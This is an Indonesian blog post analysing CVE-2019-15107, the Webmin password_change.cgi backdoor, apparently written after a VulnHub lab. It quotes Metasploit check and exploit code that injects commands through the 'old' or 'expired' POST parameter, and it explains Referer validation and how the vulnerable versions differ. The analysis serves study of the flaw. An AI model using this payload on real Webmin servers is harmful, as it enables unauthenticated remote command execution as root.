Analisis CVE-2019-15107

Kam, 19 September 2024 - 4 min read

Berkaitan dengan write up saya pada mesin VulnHub Source: 1, saya akan mencoba melakukan analisa tentang CVE dan exploit yang ada. Sebelumnya, CVE ini muncul karena Supply Chain Attack (Baca: Supply Chain Attack: Pelajaran untuk Software Engineer) yang berdampak pada versi 1.890 dan 1.900 - 1.920. Release yang terdampak juga hanya yang dipublish di SourceForge, saya cek di GitHub repository isinya normal.

Sekarang saya coba untuk membahas setiap langkah pada exploit tersebut, file yang dibahas di sini adalah password_change.cgi yang digunakan sebagai entry point.

1. Check Password Change Privilege

def check
    # check passwd change priv
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "password_change.cgi"),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'cookie'  => "redirect=1; testing=1; sid=x; sessiontest=1"
    })
 
    if res && res.code == 200 && res.body =~ /Failed/
      res = send_request_cgi(
        {
        'method' => 'POST',
        'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/session_login.cgi"
          },
        'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"        
        })
 
      if res && res.code == 200 && res.body =~ /password_change.cgi/
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Safe
    end
  end

Pada versi 1.900 - 1.920, terdapat pengecekan apakah ada restriksi untuk penggantian password, yang confignya terdapat pada passwd_mode di file /etc/webmin/minserv.conf. Jika value pada config tersebut diset menjadi 2, exploit tidak akan bekerja pada versi ini.

&get_miniserv_config(\%miniserv);
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

Selain itu, yang perlu diperhatikan adalah header yang digunakan. Karena terdapat validasi header Referer pada file web-lib-funcs.pl, sehingga pada saat request perlu menggunakan header 'Referer' => "#{peer}" dengan nilai host yang sama dengan host service, tidak perlu juga harus persis dari alamat #{peer}/session_login.cgi. Jika tidak, akan ada error yang seperti ini:

<!DOCTYPE html>
<html data-host="192.168.75.128:10000" data-hostname="source" data-title-initial="Security Warning" data-debug="0" data-session="0" data-script-name="/password_c
hange.cgi" data-background-style="gainsboro" data-night-mode="0" data-high-contrast="0" data-navigation-collapsed="0" data-slider-fixed="0" data-sestatus="0" dat
a-shell="0" data-webmin="0" data-usermin="0" data-navigation="0" data-status="0" data-package-updates="0" data-csf="0" data-theme="blue" data-default-theme="blue
" data-theme-version="19.19" data-theme-mversion="11"  data-level="0" data-user-home="/root" data-user-id="0" data-user="" data-dashboard="1" data-ltr="1" data-l
anguage="en" data-language-full="en" data-charset="UTF-8" data-notice="0" data-redirect="" data-initial-wizard="1" data-webprefix="" data-current-product="webmin
" data-module="" data-uri="/password_change.cgi" data-progress="1" data-product="webmin" data-access-level="0">
 <head>
 <noscript> <style> html[data-background-style="gainsboro"] { background-color: #d6d6d6; } html[data-background-style="nightRider"] { background-color: #1a1c20; 
} html[data-background-style="nightRider"] div[data-noscript] { color: #979ba080; } html[data-slider-fixed='1'] { margin-right: 0 !important; } body > div[data-n
oscript] ~ * { display: none !important; } div[data-noscript] { visibility: hidden; animation: 2s noscript-fadein; animation-delay: 1s; text-align: center; anima
tion-fill-mode: forwards; } @keyframes noscript-fadein { 0% { opacity: 0; } 100% { visibility: visible; opacity: 1; } } </style> <div data-noscript> <div class="
fa fa-3x fa-exclamation-triangle margined-top-20 text-danger"></div> <h2>JavaScript is disabled</h2> <p>Please enable javascript and refresh the page</p> </div> 
</noscript>
 <meta charset="UTF-8">
 <title>Security Warning</title>
 <link rel="shortcut icon" href="/images/favicon-webmin.ico">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <link href="/unauthenticated/css/bundle.min.css?1919999999999911" rel="stylesheet">
 <link href="/unauthenticated/css/fonts-roboto.min.css?1919999999999911" rel="stylesheet">
 <script src="/unauthenticated/js/bundle.min.js?1919999999999911"></script>
</head>
<body data-uri="/password_change.cgi">
 <div class="container-fluid col-lg-10 col-lg-offset-1" data-dcontainer="1">
<div class="panel panel-default">
<div class="panel-heading">
<table class="header"><tr>
<td id="headln2l" class="invisible"></td>
<td id='headln2c'><span data-main_title>Security Warning</span></td>
<td id="headln2r"></td></tr></table>
</div>
<div class="panel-body">
<b>Warning!</b> Webmin has detected that the program <tt>https://192.168.75.128:10000/password_change.cgi</tt> was linked to from the URL <tt>https://google.om</
tt>, which appears to be outside the Webmin server. This may be an attempt to trick your server into executing a dangerous command.<p>
If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.<li>Go to the <b>Webmin Configuration</b> module.<li
>Click on the Trusted Referrers icon.<li>Enter the hostname 192.168.75.128 into the <b>Trusted websites</b> field, and click <b>Save</b>.</ul><p>
Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.
<li>Add the line <tt>referers=192.168.75.128</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>192.168.75.128</tt> to it.<li>Save the file.<
/ul><p>

2. Exploiting

 ##
  # Exploiting phase
  ##
  def exploit
 
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
 
    command = payload.encoded
    print_status("Attempting to execute the payload...")
    handler
    res = send_request_cgi(
      {
      'method' => 'POST',
      'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/session_login.cgi"
        },
      'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
      })
 
  end

Di sini exploit memanfaatkan fungsi qx pada Perl yang digunakan untuk mengeksekusi system command. Terdapat perbedaan antara versi 1.890 dan 1.900 - 1.920. Pada versi 1.890, fungsi qx akan menjalankan command pada parameter expired. Jadi dari request yang disediakan bisa diganti saja paramter old dengan expired seperti ini user=root&pam=&expired=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss.

$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

Pada versi 1.900 - 1.920 command akan dieksekusi dari parameter old, sehingga seharusnya tidak perlu lagi ada parameter expired pada request.

$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Sumber: